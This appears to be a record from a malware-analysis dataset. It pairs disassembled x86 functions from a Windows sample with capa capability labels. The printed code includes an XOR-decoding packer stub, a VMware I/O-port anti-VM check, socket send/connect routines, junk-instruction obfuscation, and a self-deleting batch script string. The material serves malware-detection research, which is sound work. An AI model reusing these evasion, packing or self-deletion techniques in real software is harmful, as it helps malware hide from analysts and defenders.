joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403f80
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push ebx
push esi
push edi
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0x104
push 0x408a70
call fcn.00401ca0
push 0x58
push 0x43
call fcn.00403920
add esp, 0x10
push eax
push 0x59
push 0x42
call fcn.00403920
add esp, 8
push eax
push 0x5a
push 0x41
call fcn.00403920
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push eax
push 0x408a70
push 0x407e20
push 0x408db0
call esi
add esp, 0x18
push 0x408a70
push 0x407e08
push 0x408eb4
call esi
push 0x58
push 0x43
call fcn.00403920
add esp, 0x14
push eax
push 0x59
push 0x42
call fcn.00403920
add esp, 8
push eax
push 0x5a
push 0x41
call fcn.00403920
add esp, 8
push eax
push 0x408a70
push 0x407df0
push 0x408fb8
call esi
push 0x408fb8
call fcn.004038c0
push 0x408db0
call fcn.00403960
add esp, 0x20
push 0x408b88
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, 9
push 0x7d0
call edi
push 0
push 0
push 0
push 0x403b90
push 0
push 0
call ebx
dec esi
jne 0x404064
pop edi
pop esi
pop ebx
add esp, 0x190
ret
Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x54051301
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..text
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x2b877c20
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4018a1
Capabilities:
Reference the vmware io port

Disassembly:
mov dword [esp - 4], 0
add dword [esp - 4], ebp
sub esp, 4
xor ebp, ebp
lea ebp, [esp + ebp + 0x34]
sub ebp, 0x34
mov dword [esp - 4], 0xffffffff
sub esp, 4
push 0x49e300
push 0x40b3f4
mov eax, dword fs:[0]
cmp dword [esp - 4], eax
je 0x4018e6
mov dword [esp - 4], 0
add dword [esp - 4], eax
sub esp, 4
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 0x1c], 0
and dword [ebp - 4], 0
push eax
push ebx
push ecx
push edx
mov eax, 0x564d5868
mov ecx, 0xa
mov dx, 0x5658
in eax, dx
push ebx
pop dword [ebp - 0x1c]
push ecx
pop dword [ebp - 0x20]
pop edx
pop ecx
pop ebx
pop eax
jmp 0x401929
or dword [ebp - 4], 0xffffffff
xor eax, eax
cmp dword [ebp - 0x1c], 0x564d5868
setne al
dec eax
and al, 0xe8
add eax, 0x400
push dword [ebp - 0x10]
pop ecx
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0x2c

Function at 0x401953
Capabilities:
Get common file path

Disassembly:
mov dword [esp - 4], 0
add dword [esp - 4], ebp
sub esp, 4
mov dword [esp - 4], ebp
sub esp, 4
sub ebp, esp
pop ebp
je 0x40198f
mov dword [esp - 4], ebp
sub esp, 4
sub ebp, esp
pop ebp
je 0x40198f
mov dword [esp - 4], ebp
sub esp, 4
sub ebp, esp
pop ebp
je 0x40198f
xor ebp, ebp
lea ebp, [esp + ebp + 4]
sub ebp, 4
sub esp, 0x104
mov eax, dword [0x4d535c]
cmp eax, 0xf4
jg 0x4019c9
inc eax
mov dword [0x4d535c], eax
lea eax, [ebp - 0x104]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
jne 0x4019c2
or eax, 0xffffffff
leave
ret
movsx eax, byte [ebp - 0x104]
leave
ret

Function at 0x401dde
Capabilities:
Send data
Send data on socket

Disassembly:
mov dword [esp - 4], 0
add dword [esp - 4], ebp
sub esp, 4
mov dword [esp - 4], 0
add dword [esp - 4], ebp
sub esp, 4
sub ebp, esp
pop ebp
je 0x401e03
push esp
pop ebp
sub esp, 0x48
push ebx
lea eax, [ebp - 8]
push esi
push edi
mov dword [0x4de6d8], eax
xor esi, esi
fldz
push 0x38
lea eax, [ebp - 0x40]
fstp qword [ebp - 8]
push esi
push ecx
pop ebx
push eax
mov dword [ebp - 0x48], 0x49e30c
push esi
pop dword [ebp - 0x44]
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp + 0xc], esi
jle 0x401e8d
push dword [ebp + 8]
pop edi
push dword [ebx + 0x84]
pop eax
test eax, eax
jne 0x401e64
push eax
xor eax, eax
add eax, dword [ebp + 0xc]
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
push dword [ebx + 0x70]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x401e99
jmp 0x401e81
cmp ecx, dword [ebp + 0xc]
je 0x401e6d
push dword [ebp + 0xc]
pop ecx
sub ecx, esi
push ecx
lea ecx, [esi + edi]
push ecx
push eax
call fcn.0040c1a0
add esp, 0xc
test eax, eax
jl 0x401e99
lea esi, [eax + esi + 0x2c]
sub esi, 0x2c
cmp esi, dword [ebp + 0xc]
jl 0x401e3d
mov eax, 0x3e8
pop edi
pop esi
pop ebx
leave
ret 0x18
mov eax, 0x400
jmp 0x401e92
Function at 0x401ea0
Capabilities:
Get file attributes

Disassembly:
cmp dword [esp - 4], ebp
je 0x401eb2
mov dword [esp - 4], 0
add dword [esp - 4], ebp
sub esp, 4
push esp
pop ebp
cmp byte [0x4df8b4], 0
push ebx
mov bl, byte [ebp + 0xc]
push esi
push dword [ebp + 8]
pop esi
jne 0x401f19
mov cl, byte [esi]
push edi
xor edi, edi
cmp cl, bl
je 0x401f0b
cmp dword [esp - 4], esi
je 0x401ee4
mov dword [esp - 4], 0
add dword [esp - 4], esi
sub esp, 4
pop eax
sub cl, bl
inc edi
mov byte [eax], cl
mov cl, byte [edi + esi]
mov dword [esp - 4], 0
add dword [esp - 4], esi
sub esp, 4
pop eax
lea eax, [edi + eax + 0x10]
sub eax, 0x10
cmp cl, bl
jne 0x401ee8
sub byte [edi + esi], bl
lea eax, [edi + esi]
mov byte [0x4df8b4], 1
pop edi
mov eax, dword [0x4df8ac]
test eax, eax
jne 0x401f53
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [0x4df8ac], eax
mov al, byte [esi]
test al, al
je 0x401f3b
xor al, bl
mov byte [esi], al
inc esi
jmp 0x401f2e
cmp dword [0x4df8ac], 0
jne 0x401f4e
mov dword [0x4df8ac], 0xffffffff
mov eax, dword [0x4df8ac]
pop esi
pop ebx
pop ebp
ret

Function at 0x4021f0
Capabilities:
Connect socket

Disassembly:
cmp dword [esp - 4], ebp
je 0x402206
cmp dword [esp - 4], ebp
je 0x402206
cmp dword [esp - 4], ebp
je 0x402206
mov dword [esp - 4], ebp
sub esp, 4
push esp
pop ebp
sub esp, 0x40
and dword [ebp - 0x3c], 0
push esi
push 0x38
lea eax, [ebp - 0x38]
push 0
push ecx
push esi
push ecx
pop esi
pop ecx
push ecx
pop esi
pop esi
push ecx
push esi
mov esi, ecx
pop ecx
mov esi, ecx
pop esi
push ecx
mov ecx, esi
pop esi
mov ecx, esi
push eax
mov dword [ebp - 0x40], 0x49e30c
call sub.MSVCRT.dll_memset
call fcn.004300c0
push eax
call fcn.0042f640
add esp, 0x10
test eax, eax
je 0x402266
mov ecx, dword [sym.imp.MSVCRT.dll__iob]
add ecx, 0x40
push ecx
push 0x10
push 0x6a
push eax
call fcn.0042fb20
add esp, 0x10
call fcn.0040dc10
call fcn.0040da60
call fcn.0040da50
push eax
call fcn.0040c9f0
test eax, eax
pop ecx
push eax
pop dword [esi + 0x88]
jne 0x40228c
or eax, 0xffffffff
jmp 0x4022e1
push 0x10
push dword [ebp + 0x28]
push dword [esi + 0x70]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x402287
call fcn.0042f4d0
push dword [esi + 0x88]
call fcn.0040b850
test eax, eax
pop ecx
push eax
pop dword [esi + 0x84]
je 0x402287
push dword [esi + 0x70]
push eax
call fcn.0040be50
push dword [esi + 0x84]
call fcn.0040bff0
add esp, 0xc
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
dec ecx
push ecx
push eax
pop ecx
pop eax
push eax
pop ecx
pop esi
leave
ret 0x2c
Function at 0x4022e6
Capabilities:
Query environment variable

Disassembly:
cmp dword [esp - 4], ebp
je 0x402302
cmp dword [esp - 4], ebp
je 0x402302
cmp dword [esp - 4], ebp
je 0x402302
cmp dword [esp - 4], ebp
je 0x402302
mov dword [esp - 4], ebp
sub esp, 4
mov dword [esp - 4], 0
add dword [esp - 4], ebp
sub esp, 4
sub ebp, esp
pop ebp
je 0x402327
mov dword [esp - 4], ebp
sub esp, 4
sub ebp, esp
pop ebp
je 0x402327
push esp
pop ebp
sub esp, 0x110
mov eax, dword [0x4de6c0]
cmp eax, 1
jle 0x40233e
add eax, 0xe8
jmp 0x4023a8
inc eax
and word [ebp - 2], 0
mov dword [0x4de6c0], eax
lea eax, [ebp - 0x110]
push 0x104
push eax
lea eax, [ebp - 8]
mov word [ebp - 8], 0x6977
push eax
mov word [ebp - 6], 0x646e
mov word [ebp - 4], 0x7269
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push eax
pop ecx
test ecx, ecx
push ecx
pop dword [ebp - 0xc]
jne 0x402388
mov dword [ebp - 0xc], 0x23
push dword [ebp - 0xc]
pop eax
jmp 0x4023a8
mov eax, dword [ebp + 8]
test eax, eax
jge 0x402391
neg eax
push esi
mov esi, pe_nt_image_headers32
cdq
idiv esi
pop esi
lea ecx, [edx + ecx + 0x70]
sub ecx, 0x70
push ecx
push eax
pop ecx
pop eax
push eax
pop ecx
leave
ret 4
Function at 0x40284b
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
mov eax, 0x49d06e
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x58
push ebx
push esi
push edi
xor ebx, ebx
push 0x38
lea eax, [ebp - 0x5c]
push ebx
push ecx
pop esi
push eax
mov dword [ebp - 0x64], 0x49e30c
push ebx
pop dword [ebp - 0x60]
call sub.MSVCRT.dll_memset
xor eax, eax
lea edi, [ebp - 0x23]
mov byte [ebp - 0x24], bl
push 0x20
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x24]
push 0x14
push eax
push ebx
push ebx
pop dword [ebp - 4]
mov word [ebp - 0x10], 1
mov word [ebp - 0xe], bx
call fcn.00402c5a
cmp edi, dword [ebp + 0x10]
je 0x4028aa
push dword [ebp + 0x10]
pop edi
add esp, 0x1c
lea eax, [ebp - 0x10]
push 4
push eax
push 0x80
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
push ebx
lea eax, [ebp - 0x24]
push 0x14
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
cmp dword [esi + 0x84], ebx
je 0x4028ff
mov al, byte [0x4df8a8]
push 3
push 0x53afabe
push eax
call fcn.0040460b
add esp, 0xc
test eax, eax
je 0x4028ff
push dword [esi + 0x84]
call fcn.0040c210
pop ecx
push 2
push edi
call dword [0x4dfcf8]
push edi
call dword [0x4dfd14]
cmp eax, dword [esi + 0x84]
je 0x402926
cmp eax, dword [esi + 0x84]
je 0x402926
push dword [esi + 0x84]
pop eax
cmp dword [esp - 4], eax
je 0x402938
mov dword [esp - 4], 0
add dword [esp - 4], eax
sub esp, 4
sub eax, ebx
pop eax
je 0x402967
cmp dword [esi + 0x88], ebx
lea edi, [esi + 0x88]
je 0x402967
push eax
call fcn.0040bb90
push dword [edi]
call fcn.0040ce50
pop ecx
push ebx
pop dword [esi + 0x84]
pop ecx
push ebx
pop dword [edi]
push dword [ebp - 0xc]
pop ecx
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x1c
Function at 0x402b57
Capabilities:
Read file on windows

Disassembly:
mov dword [esp - 4], 0
add dword [esp - 4], ebp
sub esp, 4
cmp dword [esp - 4], ebp
je 0x402b70
mov dword [esp - 4], ebp
sub esp, 4
sub ebp, esp
pop ebp
je 0x402b7a
push esp
pop ebp
mov dword [esp - 4], 0
add dword [esp - 4], ebx
sub esp, 4
xor ebx, ebx
cmp byte [0x4df8b8], bl
push esi
push dword [ebp + 8]
pop esi
push edi
jne 0x402bcd
mov cl, byte [esi]
xor edi, edi
cmp cl, byte [ebp + 0xc]
je 0x402bc3
mov dword [esp - 4], 0
add dword [esp - 4], esi
sub esp, 4
pop eax
sub cl, byte [ebp + 0xc]
inc edi
mov byte [eax], cl
mov cl, byte [edi + esi]
cmp cl, byte [ebp + 0xc]
lea eax, [edi + esi]
jne 0x402bb2
mov byte [edi + esi], bl
mov byte [0x4df8b8], 1
mov eax, dword [0x4de6bc]
cmp dword [esp - 4], eax
je 0x402bdc
mov dword [esp - 4], eax
sub esp, 4
sub eax, ebx
pop eax
jne 0x402c55
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push eax
pop edi
mov al, byte [esi]
cmp al, bl
je 0x402c0b
sub al, byte [ebp + 0xc]
mov byte [esi], al
inc esi
jmp 0x402bfd
cmp edi, 0xffffffff
jne 0x402c19
or dword [0x4de6bc], 0xffffffff
jmp 0x402c50
push dword [ebp + 0x10]
pop eax
push ebx
and eax, 0xffff
push ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp + 8]
push ebx
push eax
push 4
push 0x4de6bc
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x4de6bc], 0x8000
mov eax, dword [0x4de6bc]
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4033ae
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp - 4], ebp
je 0x4033c0
mov dword [esp - 4], 0
add dword [esp - 4], ebp
sub esp, 4
push esp
pop ebp
cmp dword [0x4d53a4], 0x10
jge 0x4033d6
or eax, 0xffffffff
jmp 0x403480
dec dword [0x4d53a4]
cmp byte [0x4df888], 0
push dword [ebp + 0x10]
pop edx
push dword [ebp + 8]
pop ecx
jne 0x403468
mov al, byte [ecx]
push ebx
mov bl, byte [ebp + 0xc]
push esi
push edi
xor edi, edi
cmp al, bl
je 0x403434
push ecx
pop esi
xor al, bl
inc edi
mov byte [esi], al
mov al, byte [edi + ecx]
mov dword [esp - 4], 0
add dword [esp - 4], esi
sub esp, 4
sub esi, ecx
pop esi
je 0x403429
mov dword [esp - 4], 0
add dword [esp - 4], ecx
sub esp, 4
pop esi
lea esi, [edi + esi + 0x60]
sub esi, 0x60
cmp al, bl
jne 0x4033fd
xor byte [edi + ecx], bl
lea eax, [edi + ecx]
mov al, byte [edx]
xor edi, edi
cmp al, byte [ebp + 0x14]
je 0x403456
push edx
pop esi
xor al, byte [ebp + 0x14]
inc edi
mov byte [esi], al
mov al, byte [edi + edx]
cmp al, byte [ebp + 0x14]
lea esi, [edi + edx]
jne 0x403445
mov al, byte [ebp + 0x14]
lea esi, [edi + edx]
pop edi
xor byte [esi], al
pop esi
mov byte [0x4df888], 1
pop ebx
push edx
push ecx
call sub.MSVCRT.dll_strcmp
pop ecx
push eax
pop dword [ebp + 0x14]
pop ecx
mov dword [ebp + 0x14], 0xff
push dword [ebp + 0x14]
pop eax
pop ebp
ret 0x10
Function at 0x403827
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp - 4], ebp
je 0x403839
mov dword [esp - 4], 0
add dword [esp - 4], ebp
sub esp, 4
cmp dword [esp - 4], ebp
je 0x40384c
cmp dword [esp - 4], ebp
je 0x40384c
mov dword [esp - 4], ebp
sub esp, 4
sub ebp, esp
pop ebp
je 0x40385d
xor ebp, ebp
lea ebp, [esp + ebp + 0xc]
sub ebp, 0xc
mov eax, 0x3ea8
call fcn.0040b440
and byte [ebp - 2], 0
lea eax, [ebp - 2]
push esi
push edi
mov dword [0x4de704], eax
lea eax, [ebp - 1]
push 0xc1
push ecx
push ecx
xchg ecx, edi
mov edi, ecx
pop edi
push edi
push ecx
pop edi
pop ecx
push edi
pop ecx
pop edi
push ecx
push ecx
mov ecx, edi
pop edi
push ecx
pop edi
pop edi
push edi
mov edi, ecx
pop ecx
push edi
mov edi, ecx
pop ecx
xchg ecx, edi
mov ecx, edi
push 0x4d53d4
mov byte [ebp - 1], 0x74
mov dword [0x4de714], eax
xor esi, esi
call fcn.00403c27
test eax, eax
je 0x4038d0
cmp dword [ebp + 0x28], esi
jl 0x4038c6
cmp dword [ebp + 0x28], 0x3e24
jle 0x4038d0
mov eax, 0x400
jmp 0x403996
cmp dword [ebp + 0x28], 0xa7
jg 0x403909
call dword [sym.imp.MSVCRT.dll_rand]
push 0x53
cdq
pop ecx
idiv ecx
push 0x20
lea eax, [ebp - 0x3e9f]
xor esi, esi
lea esi, [edx + esi + 0x20]
sub esi, 0x20
lea esi, [ecx + esi + 0x34]
sub esi, 0x34
push esi
push eax
push 0
call fcn.00402c5a
add esp, 0x10
push ebx
push esi
pop dword [ebp - 0x3ea3]
push dword [ebp + 0x28]
add esi, 9
push dword [ebp + 0x24]
lea ebx, [ebp + esi - 0x3ea8]
push ebx
call sub.MSVCRT.dll_memcpy
add esi, dword [ebp + 0x28]
add esp, 0xc
mov byte [ebp - 0x3ea8], 0x17
push 0x301
call dword [0x4dfcb4]
mov word [ebp - 0x3ea7], ax
lea eax, [esi - 5]
push eax
call dword [0x4dfcb4]
mov word [ebp - 0x3ea5], ax
xor eax, eax
cmp dword [ebp + 0x2c], eax
je 0x40397b
cmp dword [ebp + 0x28], eax
jle 0x40397b
mov cl, byte [edi + 0x74]
xor byte [eax + ebx], cl
mov cl, byte [edi + 0x74]
add cl, 0x25
xor cl, 0xe8
inc eax
cmp eax, dword [ebp + 0x28]
mov byte [edi + 0x74], cl
jl 0x403963
push 0xffffffffffffffff
push 0
push 0x50
push 0x2704
lea eax, [ebp - 0x3ea8]
push esi
push eax
push edi
pop ecx
call fcn.00401dde
pop ebx
pop edi
pop esi
leave
ret 0x2c
Function at 0x403c27
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
mov dword [esp - 4], 0
add dword [esp - 4], ebp
sub esp, 4
xor ebp, ebp
lea ebp, [esp + ebp + 0xc]
sub ebp, 0xc
mov dword [esp - 4], 0
add dword [esp - 4], ecx
sub esp, 4
and dword [ebp - 4], 0
cmp byte [0x4df8b0], 0
push ebx
mov bl, byte [ebp + 0xc]
push esi
push dword [ebp + 8]
pop esi
push edi
jne 0x403c9f
mov cl, byte [esi]
xor edi, edi
cmp cl, bl
je 0x403c92
push esi
pop eax
xor cl, bl
inc edi
mov byte [eax], cl
mov cl, byte [edi + esi]
mov dword [esp - 4], 0
add dword [esp - 4], esi
sub esp, 4
pop eax
lea eax, [edi + eax + 4]
sub eax, 4
cmp cl, bl
jne 0x403c6f
xor byte [edi + esi], bl
lea eax, [edi + esi]
mov byte [0x4df8b0], 1
mov eax, dword [0x4de6c4]
test eax, eax
jne 0x403d22
mov edi, 0x1c00
push edi
call dword [sym.imp.MSVCRT.dll_malloc]
test eax, eax
pop ecx
mov dword [0x4de6c4], eax
jne 0x403cc2
push edi
pop eax
jmp 0x403d22
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push eax
pop dword [ebp + 8]
mov al, byte [esi]
test al, al
je 0x403cec
sub al, bl
mov byte [esi], al
inc esi
jmp 0x403cdf
cmp dword [ebp + 8], 0xffffffff
jne 0x403cfb
mov dword [ebp - 4], 0xf
jmp 0x403d1e
lea eax, [ebp + 0xc]
push 0
push eax
push edi
push dword [0x4de6c4]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add dword [ebp - 4], 9
push dword [ebp - 4]
pop eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x404ef4
Capabilities:
Set file attributes

Disassembly:
mov eax, 0x49d186
call sub.MSVCRT.dll__EH_prolog
sub esp, 0xae8
push ebx
push esi
push edi
lea ecx, [ebp - 0xa4]
call fcn.0040484e
xor edi, edi
lea ecx, [ebp - 0x134]
mov dword [ebp - 4], edi
call fcn.0040484e
lea eax, [ebp - 0xd]
push 0x216
mov dword [0x4df9c0], eax
lea eax, [ebp - 0x34c]
push eax
push edi
mov byte [ebp - 4], 1
mov byte [ebp - 0xd], 0x40
call dword [0x4dfcdc]
lea eax, [ebp - 0x34c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x5c4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x5c4]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov ebx, eax
pop ecx
movsx eax, byte [ebp - 0xd]
pop ecx
push eax
call fcn.00404e96
test eax, eax
jne 0x404f9b
mov dword [esp - 4], ebx
sub esp, 4
sub ebx, edi
pop ebx
je 0x404f9b
inc ebx
jmp 0x404fa1
lea ebx, [ebp - 0x5c4]
call dword [0x4dfc8c]
add eax, 0x5f64
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
call dword [sym.imp.MSVCRT.dll_rand]
push eax
push 0x4d54f4
push str._s_d.bat
push ebx
call esi
add esp, 0x10
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0xd]
push eax
call fcn.004060ce
test eax, eax
pop ecx
je 0x405002
push 0xf2fa8314
call fcn.00405d33
test eax, eax
je 0x404fba
push ebx
call dword [0x4dfd0c]
cmp eax, 0xffffffff
jne 0x404fba
push edi
push edi
push 2
push edi
push edi
lea eax, [ebp - 0x5c4]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
xor ebx, ebx
lea ebx, [eax + ebx + 0xc]
sub ebx, 0xc
cmp ebx, 0xffffffff
je 0x4050a4
lea eax, [ebp - 0xaf4]
push str._echo_off_r_n:P_r_ndel___1_r_nping_0.0.0.0_nul_r_nif_exist___1_goto_P_r_ndel___0_r_n
push eax
call esi
pop ecx
lea eax, [ebp - 0x14]
pop ecx
push edi
push eax
lea eax, [ebp - 0xaf4]
push eax
call dword [0x4dfc88]
push eax
lea eax, [ebp - 0xaf4]
push eax
push ebx
call dword [0x4dfcbc]
push ebx
call dword [0x4dfcf4]
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x5c4]
push eax
lea eax, [ebp - 0xaf4]
push str._s___s_
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0xaf4]
push 1
push edi
push 0xf0
push 0x320
push 7
push 0xfffffffffffffffb
push 7
push edi
push 0xffffffffffffffff
push 0xffffffffffffffff
push edi
push eax
call fcn.004015ed
push 0xfffffffffffffffd
push 0xfffffffffffffff7
push 0x4dfb18
push 0x4dfb48
push 0x4dfab8
push 0x4df9d8
push 0x4dfa88
call fcn.004011bc
add esp, 0x1c
push edi
call dword [0x4dfcec]
lea ecx, [ebp - 0x134]
call fcn.004049de
lea ecx, [ebp - 0xa4]
call fcn.004049de
push dword [ebp - 0xc]
pop ecx
pop edi
pop esi
mov eax, 0x3e8
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x406205
Capabilities:
Get common file path

Disassembly:
mov dword [esp - 4], ebp
sub esp, 4
xor ebp, ebp
lea ebp, [esp + ebp + 0x5c]
sub ebp, 0x5c
sub esp, 0x104
mov eax, dword [0x4d564c]
cmp eax, 0x1d
jg 0x40624d
inc eax
mov dword [0x4d564c], eax
lea eax, [ebp - 0x104]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
jne 0x406246
or eax, 0xffffffff
jmp 0x40624d
movsx eax, byte [ebp - 0x104]
leave
ret 4
Function at 0x40a08f
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp - 4], ebp
je 0x40a0a1
mov dword [esp - 4], 0
add dword [esp - 4], ebp
sub esp, 4
mov dword [esp - 4], 0
add dword [esp - 4], ebp
sub esp, 4
sub ebp, esp
pop ebp
je 0x40a0d5
mov dword [esp - 4], 0
add dword [esp - 4], ebp
sub esp, 4
sub ebp, esp
pop ebp
je 0x40a0d5
xor ebp, ebp
lea ebp, [esp + ebp + 0x44]
sub ebp, 0x44
cmp dword [0x4d56f0], 0x11
jge 0x40a0e6
or eax, 0xffffffff
jmp 0x40a1aa
dec dword [0x4d56f0]
cmp byte [0x4dfd74], 0
push dword [ebp + 0x10]
pop edx
push dword [ebp + 8]
pop ecx
jne 0x40a191
mov al, byte [ecx]
push ebx
mov bl, byte [ebp + 0xc]
push esi
push edi
xor edi, edi
cmp al, bl
je 0x40a155
push esi
push ecx
push ecx
mov ecx, esi
pop esi
push ecx
xchg ecx, esi
mov esi, ecx
pop esi
mov ecx, esi
pop esi
push esi
mov esi, ecx
pop ecx
xchg ecx, esi
xchg ecx, esi
mov esi, ecx
pop ecx
push esi
push ecx
push esi
mov esi, ecx
pop ecx
mov esi, ecx
pop esi
xchg ecx, esi
mov esi, ecx
pop ecx
push ecx
pop esi
xor al, bl
inc edi
mov byte [esi], al
mov al, byte [edi + ecx]
xor esi, esi
lea esi, [ecx + esi + 0x40]
sub esi, 0x40
lea esi, [edi + esi + 0x74]
sub esi, 0x74
cmp al, bl
jne 0x40a139
xor byte [edi + ecx], bl
lea eax, [edi + ecx]
mov al, byte [edx]
xor edi, edi
cmp al, byte [ebp + 0x14]
je 0x40a183
cmp dword [esp - 4], edx
je 0x40a16e
mov dword [esp - 4], edx
sub esp, 4
pop esi
add al, byte [ebp + 0x14]
inc edi
mov byte [esi], al
mov al, byte [edi + edx]
cmp al, byte [ebp + 0x14]
lea esi, [edi + edx]
jne 0x40a172
and byte [edi + edx], 0
pop edi
pop esi
mov byte [0x4dfd74], 1
pop ebx
push edx
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
push eax
pop dword [ebp + 0x14]
pop ecx
or dword [ebp + 0x14], 0x100
push dword [ebp + 0x14]
pop eax
pop ebp
ret 0x10

Function at 0x40aab2
Capabilities:
Get file attributes

Disassembly:
cmp dword [esp - 4], ebp
je 0x40aac4
mov dword [esp - 4], 0
add dword [esp - 4], ebp
sub esp, 4
cmp dword [esp - 4], ebp
je 0x40aad1
mov dword [esp - 4], ebp
sub esp, 4
sub ebp, esp
pop ebp
je 0x40aae2
xor ebp, ebp
lea ebp, [esp + ebp + 0x58]
sub ebp, 0x58
cmp byte [0x4dfd80], 0
push ebx
mov bl, byte [ebp + 0xc]
push esi
push dword [ebp + 8]
pop esi
jne 0x40ab37
mov cl, byte [esi]
push edi
xor edi, edi
cmp cl, bl
je 0x40ab29
xor eax, eax
lea eax, [esi + eax + 0x34]
sub eax, 0x34
sub cl, bl
inc edi
mov byte [eax], cl
mov cl, byte [edi + esi]
mov dword [esp - 4], 0
add dword [esp - 4], esi
sub esp, 4
pop eax
lea eax, [edi + eax + 0x5c]
sub eax, 0x5c
cmp cl, bl
jne 0x40ab06
sub byte [edi + esi], bl
lea eax, [edi + esi]
mov byte [0x4dfd80], 1
pop edi
mov eax, dword [0x4dfd7c]
test eax, eax
jne 0x40ab71
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [0x4dfd7c], eax
mov al, byte [esi]
test al, al
je 0x40ab59
xor al, bl
mov byte [esi], al
inc esi
jmp 0x40ab4c
cmp dword [0x4dfd7c], 0
jne 0x40ab6c
mov dword [0x4dfd7c], 0xffffffff
mov eax, dword [0x4dfd7c]
pop esi
pop ebx
pop ebp
ret 8